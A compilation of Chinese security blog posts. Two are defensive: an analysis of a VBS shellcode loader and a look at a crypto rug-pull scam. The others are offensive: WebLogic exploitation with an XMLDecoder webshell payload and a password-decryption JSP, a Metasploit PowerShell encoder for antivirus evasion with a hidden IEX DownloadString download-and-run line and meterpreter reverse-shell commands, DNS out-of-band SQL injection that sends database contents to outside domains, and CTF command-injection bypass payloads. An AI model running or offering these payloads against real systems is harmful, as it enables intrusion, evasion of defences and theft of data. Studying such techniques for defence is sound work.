  19. 我们可以通过使用CyberChef和Regex来克服大量基于文本的混淆,在混淆后,系统将识别一些“畸形”的shellcode,我们将在使用SpeakEasy模拟器进行模拟之前手动修复。 哈希:e8710133491bdf0b0d1a2e3d9a2dbbf0d58e0dbb0e0f7c65acef4f788128e1e4,示例链接请点此。 TLDR 1.识别功能和混淆类型; 2.清除基本混淆与正则表达式和文本编辑器; 3.使用Regex, CyberChef和Subsections去除高级混淆; 4.识别shellcode并修复负字节值(Python或CyberChef); 5.使用Speakeasy验证和仿真。 初步分析 可以使用受感染的密码保存和解压缩脚本,这样我们可以使用文本编辑器(如notepad++)直接打开文件。 打开后,我们可以看到脚本引用了一些Excel对象以及Wscript.Shell,通常用于执行 .vbs 脚本。 在这个阶段,我们将跳转到使用Wscript来利用Excel执行代码的假设,避免分析Excel/Wscript组件,直接跳转到解码混乱的命令/代码。 我们可以假设代码的初始部分是利用Excel和Wscript来运行一个被混淆的vbs脚本。 混淆技术概述 从第30行开始,可以看到两种主要的混淆形式。 1.脚本被分解成许多小字符串,例如“hello world”将是“hello”&“world” 2.该脚本使用Chr解码的十进制编码值。例如,“Hello World”可以是“Hell”& chr(111)&“World”。其中的“0”已转换为十进制111。 3.每行以下划线_结尾。虽然这不是混淆,但仍然需要删除以清理脚本。 现在已经确定3种初始形式的“混淆”,接下来可以继续使用正则表达式来清除它们。 可以在不使用正则表达式的情况下手动删除和替换每个值,但这是一个非常繁琐的过程。在这个脚本中,regex是最好的方法。 在清除第一种形式的混淆后。我们可以使用搜索/替换来做到这一点,使用“&”和空替换值。 按下确认键后,290个字符串分割混淆被删除了。 现在,将继续使用CyberChef来识别和删除Chr(10)样式混淆。 这个过程将包括使用一个正则表达式来识别Chr(10),然后使用一个子段来研究这些值并对它们进行解码,保持剩余的脚本不变。为此,需要把当前编码的内容移动到CyberChef中。 用Cyberchef的初步分析 现在将脚本移到CyberChef中,可以直接跳到正则表达式(regex)的原型中,以深入研究十进制编码的值。 对于原型,本文将使用“正则表达式”和“突出匹配”,这是为了确认脚本匹配预期的混淆内容。 这里使用的正则表达式是Chr \(\d+\): Chr -需要以Chr开头的十进制值; \( and \) -我们希望十进制值包含在括号中,需要转义括号,因为它们在正则表达式中具有特殊含义; \d + -指定一个或多个数值; 希望“数值”+“包含在括号中”+“前面加上Chr”。 由于regex看起来正在运行并正确识别值,因此可以继续并将其更改为分段。 分段允许仅对匹配正则表达式的数据执行所有将来的操作。这允许我们保持脚本的大部分完整,而只解码那些混淆并匹配我们的正则表达式的值。 接下来继续将regex复制到分段,确保禁用原始正则表达式。 应用了这个小节之后,现在可以应用一个额外的正则表达式来提取十进制值(但只能是包含在Chr中的值)。 从这里开始,我们现在可以应用“From decimal”来解码内容。 至此,我们现在有了一个比以前好看得多的脚本,尽管它仍然到处都有&。 回到文本编辑器 解决了主要的混淆后,可以将CyberChef输出复制回文本编辑器中。 & chr(110)&值周围的&符号仍然存在,可以继续删除它们。 保留了下划线(visual basic换行符),继续使用\s +_ \s +删除它们,这将删除所有换行符和周围的空白。 脚本现在看起来干净很多,尽管周围有很多“”,但不会对分析有什么影响。 我们可以继续使用“+”的正则表达式删除这些引号,这将从脚本中删除所有引号。 分析清理后的脚本 现在删除了大部分垃圾代码,可以继续查看已解码的脚本。 可以注意到的第一件事是,在进程注入中有很多api引用(VirtualAllocEx, WriteProcessMemory, CreateProcessA等)。 稍微向下滚动,我们还可以看到一团十六进制字节和进程名,可能用作进程注入的目标。例如,这个blob字节将被注入rundll32.exe。 此时,我们可以假设字节是shellcode。这主要是由于长度短,不能作为标准的pe/exe/dll文件。 在继续之前,可以先删除最后剩下的下划线。 一旦删除,十六进制字节的blob应该看起来像这样。blob太短,不能成为一个完整的PE文件,但是有足够的空间包含shellcode。 修复用于表示Shellcode的负十进制值 shellcode中存在需要修复的负值。虽然不确定负的值如何在visual basic/.vbs运行,但在这种情况下,似乎-4的值对应于256 -4,即252,这是0xfc,这是在Shellcode开头看到的一个常见字节(cld标志)。 在分析可能的shellcode之前,我们需要取所有的负值并从256中减去它们。 这可以在CyberChef或Python中完成,示例如下所示。 CyberChef :这可以通过使用一个分段来提取负值,从值256中减去它们来完成。现在,所有值都可以进行十进制解码。 Python:类似于cyberchef,可以迭代十进制值数组,从数字256中减去负值。 在输出中,我们可以看到明文字符串以及0xfc的初始Shellcode字节。 两个输出也引用了一个可能的C2地址47.98.51[.]47。 此外,两个输出都引用EICAR字符串。这是一个字符串,将自动触发所有杀毒软件。 据分析,这是一个故意的字符串,旨在防止Cobalt Strike的试用版被滥用。 SpeakEasy的Shellcode仿真 0xfc字节的短长度和存在可以让我们确信结果是shellcode。为了进一步确认,可以继续在SpeakEasy模拟器中模拟输出。 这证实了字节是shellcode,它从ip 47.98.41[.]47充当基于http的下载程序 如上所述,通过分析一个包含shellcode加载器的visual basic脚本,我们成功地识别了一个C2地址,并使用SpeakEasy模拟器确认了shellcode功能。
  20. 1. 管理员登录页面弱密码 Weblogic的端口一般为7001,弱密码一般为weblogic/Oracle@123 or weblogic,或者根据具体情况进行猜测,公司名,人名等等,再有就可以用burpsuite的intruder进行暴力破解,一旦成功就可以上传war包getshell. 2. weblogic ssrf Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。如果存在此url http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp 都会存在ssrf.下面我们监听一下192.168.1.59:139的139端口(开启)跟138端口(未开启)的返回,端口的开启情况 http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:139&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search http://192.168.8.128:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://192.168.1.59:138&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search 3. weblogic反序列化 Wenlogic反序列化的漏洞已经被爆出很长时间,网上可以找出各种各样的工具,在这里我就不再多提了。 4. weblogic_uac 第一步 抓取http://x.x.x.x:7001/wls-wsat/CoordinatorPortType 对其发起POST请求(任意包都可以,只要url对就可以) 第二步 加入Content-Type:text/xml 第三步 在body中放入payload <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"> <string><![CDATA[`此处放马(因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错,可删掉中文上传,也可进行编码处理)` ]]></string></void><void method="close"/> </object> </java> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 以上为默认路径,如果不是默认路径同时又是linux系统可用以下payload爆出路径 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.xmlDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>find $DOMAIN_HOME -type d -name bea_wls_internal|while read f;do find $f -type d -name war;done|while read ff;do echo $ff >$ff/a.txt;done</string> </void> </array> <void method="start"/></void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 5. weblogic 在线与离线解密 如有webshell可进行在线解密 把以下代码放入服务器进行访问,s=""中填写weblogic的加密密码,可在boot.properties文件中找到。默认路径为../../../Server/security/boot.properties <%@page pageEncoding="utf-8"%> <%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%> <% EncryptionService es = null; ClearOrEncryptedService ces = null; String s = null; s="{AES}wfFNcH6k+9Nz22r1gCMnylgUr9Ho5kz8nDgib/TuOZU="; es = SerializedSystemIni.getEncryptionService(); if (es == null) { out.println("Unable to initialize encryption service"); return; } ces = new ClearOrEncryptedService(es); if (s != null) { out.println("\nDecrypted Password is:" + ces.decrypt(s)); } %> 离线解密需要两个文件SerializedSystemIni.dat和boot.properties 来源: https://xz.aliyun.com/t/2149
  21. 前言 一些zip进行加密密码之后不一定是真的有密码 这时候如果我们去爆破那就是上当了 打金盾的时候就上当了,跟我随行打的朋友解出来了,我还在傻傻的爆破 拿到只有一个zip且有flag一定要先看二进制 下载打开后发现有密码 如果此时此刻不先看二进制文件先去爆破就是上当了 一个zip文件有三个部分组成: 压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志 (详解链接) 这是三个头标记,主要看第二个 压缩源文件数据区:50 4B 03 04这是头文件标记 压缩源文件目录区: 50 4B 01 02:目录中文件文件头标记 3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 压缩源文件目录结束标志 :50 4B 05 06:目录结束标记 我们用winhex打开压缩包,搜索504B,点击第二个504B(压缩源文件目录区) 09->00 此时我们在打开就可以直接打开 Zip伪加密解密一把梭脚本: https://wwi.lanzoup.com/iQ34I1lusn1a 使用方法也简单 中文名字会不成功 需要改压缩包名字 java -jar ZipCenOp.jar r ctfshow.zip 此时也能打开了 此时的长宽高的二进制已经被修改了 我们用脚本给他自动修复 https://github.com/AabyssZG/Deformed-Image-Restorer 查看readme 修复 python3 Deformed-Image-Restorer.py -i black.png 打开一看 拖进winhex或者010最后给了key base64解码 一串密码 分析图片隐写 拿一下output 打开 打开查看后 优先输入yurenjie 密码是yurenjie但报错 在跑一次长宽高 打开 成功错了 打到后面打不出来了,看了看wp,脚本是我自己找的加上去的送给大家了,没有十年脑洞不要打杂项.
  22. Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。 在https://technet.microsoft.com,看到文档如下: Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。 Here is a listing of the available startup parameters: -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. -EncodedCommand Specifies the base64-encoded command text to execute. -ExecutionPolicy Sets the default execution policy for the console session. -File Sets the name of a script fi le to execute. -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe). -NoLogo Starts the PowerShell console without displaying the copyright banner. -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. -NoProfile Tells the PowerShell console not to load the current user’s profile. -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. -Sta Starts PowerShell in single-threaded mode. -Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0. -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 针对它的特性,本地测试:Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor') 上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload micropoor.ps1不幸被杀 针对powershell特性,更改payload 接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式: (1)目标机出网 (2)目标机不出网 并且根据需求,无缝连接Metasploit。 根据微软文档,可以找到可能对以上有帮助的属性,分别为: WindowStyle NoExit EncodedCommand exec 自动化实现如下: # copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell. # E.g # msf encoder(powershell/base64) > use exploit/multi/handler # msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp # payload => windows/x64/meterpreter/reverse_tcp # msf exploit(multi/handler) > exploit # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. # [*] Started reverse TCP handler on xx.1xx.xx.xx:xx class MetasploitModule < Msf::Encoder Rank = NormalRanking def initialize super( 'Name' => 'Powershell Base64 Encoder', 'Description' => %q{ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows. }, 'Author' => 'Micropoor', 'Arch' => ARCH_CMD, 'Platform' => 'win') register_options([ OptBool.new('payload', [ false, 'Use payload ', false ]), OptBool.new('x64', [ false, 'Use syswow64 powershell', false ]) ]) end def encode_block(state, buf) base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) cmd = '' if datastore['x64'] cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ' else cmd += 'powershell.exe ' end if datastore['payload'] cmd += '-windowstyle hidden -exec bypass -NoExit ' end cmd += "-EncodedCommand #{base64}" end end # if use caidao # execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows # xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.    拷贝 powershell_base64.rb 文件到 /usr/share/metasploit-framework/embedded/framework/modules/encoders/powershell 目录下 如果powershell is 空,请新建powershell目录 参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。 例1(目标出网,下载执行): echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows 例2(目标不出网,本地执行) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload 注:加payload参数 更多有趣的实验: 把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。 更改Invoke-Mimikatz.ps1等。 from: https://technet.microsoft.com/en-us/library/ff629472.aspx https://github.com/danielbohannon/Invoke-Obfuscation https://micropoor.blogspot.com/2018/04/powershell.html
  23. “Rug Pull”是一种常见的加密骗局,往往发生于DeFi领域。DeFi,即“去中心化金融(Decentralized Finance)”,也被称为“开放式金融” ,是以比特币和以太币为代表的加密货币,区块链和智能合约结合的产物。DeFi有两大支柱,一是以比特币和以太币为代表的稳定币,二是实现交易、借贷和投资的智能合约。 Rug Pull骗局通常是指加密行业项目方突然放弃某一个项目或撤出流动性池子,卷走用户投资资金的诈骗行为,通俗的讲就是卷款跑路。 诈骗者在“Rug Pull”之前,会先创建一个加密项目,通过各种营销手段吸引加密用户投资,并在合适的时机突然卷走用户投资的资金,抛售加密资产,投资该项目的用户也将蒙受巨大损失。 Rug Pull事件回顾 FairWin (2019):FairWin 是在以太坊区块链上运作的庞氏骗局,它承诺通过名为 FairWin 智能合约的去中心化应用程序(dApp)获得高回报。然而,该项目的开发商最终卷走了投资者的资金,造成估计数百万美元的损失。 PlusToken(2019):PlusToken 是一种影响全球的加密货币庞氏骗局。它声称可以提供高收益的投资回报,并吸引了大量参与者。然而,在 2019 年中期,该计划的运营商消失了,带走了估计价值 20 亿美元的加密货币。 YAM Finance(2020):YAM Finance 是一个建立在以太坊区块链上的 DeFi 项目。它旨在创建一个去中心化的稳定币和流动性挖矿平台。然而,启动后不久,就发现了一个编码缺陷,导致该项目无法持续。 YAM代币价值暴跌至零,导致投资者遭受重大损失。 Meerkat Finance(2021):Meerkat Finance 是币安智能链(BSC)上的去中心化流动性挖矿项目。它声称通过其金库提供高回报。然而,项目启动后48小时内,开发商就耗尽了该项目的资金,造成约3100万美元的损失。 最近,又有攻击者利用Rug Pull计划成功窃取了近100万美元。我们将在本文深入研究这个精心设计的加密骗局的细节,并了解它是如何诈骗的? Check Point最近识别出了以下地址0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798涉及Rug Pull活动,威胁识别系统已经开始监控与钱包地址相关的活动: 这是诈骗钱包的余额,这个地址操作了40个不同的Rug,已经被盗了近100万美元。 诈骗(0x6b140e79db4d9bbd80e5b688f42d1fcf8ef97798)的策略是根据最新的炒作来创建代币,以引诱受害者购买他的代币,例如,代币名称GROK 2.0 (0xd4b726c5b5e6f63d16a2050ee3ac4a0f0f81f1d4),可能来源于一个知名的人工智能系统(X GROK),旨在吸引买家。几周前,受埃隆·马斯克 AI 项目启发的原始 Grok 代币的推动,根据DEXTools 的数据,交易量超过 600,000 美元。 这个精心设计的骗局是如何运作的,它是如何成功卷走大批量钱的?下面是详细分析。 创建假令牌:骗局始于创建欺骗性令牌,以令牌GROK 2.0为例,名字的选择通常反映了热门话题,以吸引毫无戒心的买家。 向流动性池中添加资金:为了制造合法性假象,诈骗向代币池中注入资金,创造了一个充满活力和活跃的代币的假象。 精心策划的交易活动:利用合约中的专门功能(0x521da65d),诈骗者执行模拟交易,使其看起来好像真正的买卖正在发生。然而,这只是诈骗精心策划的一个诡计。 增加交易量:另一个功能(0xf029e7cf)开始发挥作用,促进了WETH加密货币和GROK令牌之间的大规模交易。这种人为的通货膨胀创造了一种高需求和高价值的感觉,吸引投资者加入。 吸引买家:利用代币的吸引力,用户开始购买,没有意识到即将发生的欺骗。 卷钱:一旦代币充分吸引了投资者,诈骗就会执行最后一步——从代币池中撤出流动性,让代币购买者空手而归。 技术分析 诈骗者使用两种不同的智能合约进行交易并增加代币数量。他使用的第一个合约地址是0x2ef3216e95e2b7c8e378ae64534100e69598f955,其中包含模拟交易功能(0x521da65d)。 函数0 x521da65d 函数0x521da65d负责为诈骗出售和购买令牌,这个函数已经为这个令牌执行了226次。函数的行为取决于布尔值varg7,它决定了函数的运行路线,导致了两个独立的执行路线。 第一条路线(0x306b)是从WETH加密货币交换到GROK 2.0(购买),如下图所示: 第二条路由(0x2bac)表示从GROK 2.0到WETH(销售)的交换。 对于第二个智能合约,诈骗者使用地址0x4b2a0290e41623fbfeb5f6a0ea52dc261b65e29b进行操作,在那里他执行函数0xf029e7cf来人为地提高令牌的数量。 函数0 xf029e7cf 这个函数接收五个参数: 解码发送给此函数的以下数据,揭示以下参数: Varg0是Uniswap路由器地址,诈骗将使用它来交换令牌。 Varg1是WETH加密货币地址,将用于与GROK令牌进行交换。 Varg2是GROK 2.0令牌地址。 Varg3是要交换的令牌的数量。 Varg4是交换这个令牌的次数。 深入研究该函数,我们发现诈骗者使用了来自Uniswap Router (varg0)的“swapExcatToekensSupportingFeeOnTransferTokens”函数,从WETH(varg1)到GROK(varg2)以及从GROK到WETH交换了9次(varg4),总金额为420,000美元,这增加了令牌的数量并吸引交易者和机器人购买它。 swap循环可以在下面的截图中看到: 在骗局的最后阶段,诈骗在吸引了足够数量的买家和令牌价格上涨后,从令牌的流动性池中提取了资金。事实证明,他们有81次从他们的欺骗性代币中去除流动性。 总结 随着加密领域的不断发展,保持警惕和了解情况对投资者来说至关重要。最近的Rug Pull事件提醒我们,有必要提高安全意识。通过了解诈骗所采用的策略,我们可以共同努力创造一个更安全、更可靠的加密环境。 如何避免Rug Pull事件的发生: 1.在投入资金之前认真研究任何分析投资机会。了解团队成员、他们的背景以及他们之前的项目。投资者应该对未公开信息的项目抱有质疑态度,要通过项目官网、社交媒体账户、社区热度质量以及白皮书等信息。 2.评估项目团队的可信度和合法性。寻找与该项目相关的开发人员的信息和知名度。 3.评估项目的社区参与度。团队积极、透明的沟通至关重要,如果缺乏参与或团队回避回答重要问题,请务必谨慎。 4.正规且高质量的项目都会由信誉良好的第三方机构进行代码审计,外部审计对于去中心化的加密项目格外重要,如果一个项目始终没有进行代码外部审计,这个项目就有很多潜在性的风险。投资者应该多方验证项目外部审计结果,并只认可权威第三方出具的代码审计报告,代码中没有发现任何恶意的项目才值得考虑投资与否。 5.验证项目的流动性是否锁定,流动性锁定减少了撤资的可能性。识别大部分“Rug Pull”骗局最简单也十分有效的方式是检查流动性池是否被锁定,流动性池锁定的项目安全性较高,有权威第三方参与的锁定流动性池的项目安全性更高,而流动性池未锁定的项目极为危险,因为项目方可以轻而易举地窃取流动性池子里的所有加密货币。 投资者还应检查流动性池被锁定的比例,锁定的比例和项目安全性成正比,一般而言,锁定的比例应该在80%到100%之间,此外,锁定的时间也是很重要的指标,流动性池应当受基于时间函数的限制,这意味着没有人可以在时间限制范围内移动池子里的加密货币。 6.不要把所有鸡蛋放在一个篮子里。将投资分散到多个项目和资产类别。 7.卖盘控制。卖盘控制是通过恶意代码实现的,这种方式较为隐秘,投资者可以通过小额购买代币然后出售的方式来进行测试,如果无法出售,该项目就可判定为骗局。 8.异常暴涨。一个新的项目代币在没有重大利好情况下,突然异动暴涨,往往就是利用散户普遍的“追涨杀跌”心态吸引散户入局,而代币价格拉高之后就是大量抛售,也就是常说的“割韭菜”。 投资者可以通过区块浏览器来检查代币持有者的数量,数量过少的代币价格容易被操纵,骗局的可能性极大。 9.可疑的高收益。“Rug Pull”骗局很多时候就是庞氏骗局,这类骗局就是通过极具诱人的高收益来诱骗投资者,进而欺诈投资者投入的本金,也可以说,收益越高,风险就越大,投资者应该始终保持清醒的头脑,进而做出明智的判断。
  24. 0x00 起因 实际案子的时候遇到了一个注入,过狗可以使用sqlmap,但是是基于时间的注入和限制频率需要使用--delay参数,本来就是延时再加上--delay等的心力憔悴。所有有了下面介绍使用sqlmap利用DNS进行oob(out of band)注入,快速出数据。一般情况下仅适用于windows平台 0x01 场景 你有没有遇到这样类似的注入场景。1、时间盲注,数据库、表及字段内容特别多,等到花儿也谢了。2、mysql5.6+只能使用mysqli或pdo连接方式,多推荐使用pdo连接。使用pdo连接方式,可以执行多语句,但是PDO只会返回第一条SQL语句的执行结果,所以一般不能直接拿到数据,被迫通过update某个可见字段或者sleep注入3、遇到waf拦截,含有特定内容的返回包接受不到,明明测试没有拦截过滤,感觉执行成功了,却没有接收到返回数据(能执行命令的时候也可以向web目录写文件) 0x02 原理 使用unc路径,会对指定的域名进行dns查询,使用dns信道,配合dns服务器收到的数据可快速得到数据内容。使用dns有一定的好处,可以突破主机网络隔离,例如dmz主机不能直接连外网,但是配置的网络可达的dns服务器往往可以,通过查询域名递归的方式,dns服务器可以将返回数据通过dns协议带出去。unc路径是windows下的特性,默认安装的linux下不存在这样的功能。 流程图如下: mysql使用pdo链接数据库盲注判断是否成功的测试语句(普通的注入也可以参考) SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc')); select hex("SELECT LOAD_FILE(CONCAT('//',(SELECT 2333),'.mysql.panokaz.exeye.io/abc'));") set @x=0x53454C454354204C4F41445F46494C4528434F4E43415428272F2F272C2853454C45435420277465737427292C272E6D7973716C2E70616E6F6B617A2E65786579652E696F2F6162632729293B;prepare a from @x;execute a; mysql的使用场景:之前抓到国内dns递归的上层dns服务器有360、tencent、ali的,如果我有一个这样的节点dns服务器,肯定可以收获很多羞羞的网站,想想还有点小激动呢≥▽≤sqlserver可以使用以下方式 declare @s varchar(5000),@host varchar(5000) set @s=(host_name()) set @host=CONVERT(varchar(5000),@s)+'sqlserver.panokaz.exeye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"') sqlserver的使用场景: 0x03 手工测试遇到的问题及解决方案 因为存在dns缓存,请求过一次域名后,会在本机产生dns记录,不会向外递归查询,所以unc路径中DNS域名不能相同 unc路径长度不能过长,通过sqlserver报错显示以 '\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' 开头的 标识符 太长。最大长度为 128。可知unc路径最大长度为128 unc路径中不能含有空格等特殊字符,包含的话不会发送dns请求 以sqlserver的注入为例,参考sqlmap给出的方案解决 '; DECLARE @host varchar(1024); SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY name)+'.Nrz.rainism.cc'; EXEC('master..xp_dirtree "\\'+@host+'\cCkc"')-- 通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存 通过使用substring()函数每次传输特定位数的数据 通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16禁止编码 0x04 使用sqlmap的dns-domain参数进行oob注入 这么方便快捷的注入方式怎么会没有自动化的工具,仔细看过sqlmap文档的同学肯定知道--dns-domain的参数,这就是sqlmap集成的利用dns进行oob注入的方法 使用方法:sqlmap使用--dns-domain参数时候会监听53端口,我们需要把我们获得数据所使用的域名的dns服务器配置到我们运行sqlmap的主机,就可以获得dns外带的数据。 因为配置dns服务器的时候也需要dns,所以我们需要两个域名,详细配置如下: 配置我们的用于解析dns的nameserver的域名ns1.xxx.com,ns2.xxx.com指向我们运行sqlmap的主机ip,这里我使用*通配符配置A记录 配置我们用于外带数据的域名rainism.cc的域名服务器为ns1.xxx.com和ns2.xxx.com 我们在外网的vps上执行如下命令sqlmap.py -u 'http://xxoo.com/index.php?id=1*' --random-agent --dns-domain='rainism.cc' -v 3可以看到sqlmap执行的语句和返回的数据 使用tcpdump监听53端口,可以看到回传的数据内容 原文链接地址:https://mp.weixin.qq.com/s/nCvrk6NEb_lDv7MXdXn3vA
  25. 前言 好,继续冲 Web53 过滤了很多,默认system输入的是返回值而不是结果值 ?c=ta''c${IFS}fla?.php Web54 过滤很多 tac被过滤了 但是cp和mv都没被过滤 ?c=cp${IFS}fla?.php${IFS}t.txt Web55(熟悉掌握三种方法) 看似过滤的少,实际上砍到大动脉了 因为过滤了a-z 方法一: 我们可以用来把flag.php的内容转为base64并且进行解码 过滤了a-z我们之间?代替 数字没被禁数字之外的用?等价代替 我们的命令本来是?c=/bin/base64 flag.php 转换后则是 ?c=/???/????64 ????.??? 解码即出 方法二: 还有一种做法,就是使用 /usr/bin/bzip2 进行对文件的压缩 ?c=/???/???/????2 ????.??? 然后 最后访问 /flag.php.bz2进行下载压缩包 方法三: 这个方法最逆天了 我们知道在linux中./你的文件名.后缀 是可以执行脚本文件的 然而这个靶没有过滤.和/ 我们就可以上传文件进行执行 制作一个POST表单 我们知道php上传文件会临时储存在/tmp/phpXXXXX里大都是时一共是八位数000 代码: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://397b0d14-e767-4f60-be9d-4f74a60155d5.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html> 我们进行抓包改数据 发送到重放器里 /?c=.%20/???/????????[@-[] ok拿flag Web56 web56把0-9给过滤了 所以55的前两种方法都不能用 但是第三种逆天的方法是可以用的 /?c=.%20/???/????????[@-[] 方法二: python脚本 (ctfshow的wp) 把地址填成自己的 godyu.txt里面写cat flag.php import time import requests url = "http://2721d06e-62f6-413e-a90c-79f6c9b21c60.challenge.ctf.show/" payload = {"c":". /???/????????[@-[]"} with open('.\\godyu.txt','r') as file: files = {'file': file} while 1: r = requests.post(url,params=payload,files=files) if r.text: print("\n" + r.text) break time.sleep(1) print(".", end=' ',flush=True) Web57 过滤的更多了 但flag是在36.php 我们想办法弄出来36 这题可变态来着、 在linux里我们输出$(()) 所以$(())代表就是0 我们使用二进制取反如果是正数的话1取反得到0 0取反得到1 在二进制里计算二进制通常取消取反算原码补码什么的(可惜域是软工专业不是计算机专业)不过也了解一些底层原理 对于正整数,取反运算的结果是其本身加1的负数;对于负整数,取反运算的结果是其本身加1的绝对值;对于0,取反运算的结果是-1;对于-1,取反运算的结果是0。 -0再次取反得-1 在套娃 在套娃 我们放37个这个$(())这个玩意取反就能得到36 $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))) 打payload 查看源代码就可以出 到这里域感觉都有点打不动的感觉哈哈,,,, Web58 别看传的少,后台禁止了很多函数 我们试一下phpinfo(); 被禁止了 system也被禁止了 方法一: 使用远程包含 c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php 解码一下 方法二: 读取文件 c=echo file_get_contents('flag.php'); 查看一下源代码就出 汗流浃背了 Web59 跟上一题一样 但禁用的函数没有说 file_get_contents函数已经被禁止了 但include没有禁止 c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php 继续打 Web60 与上关一样 c=highlight_file("flag.php"); 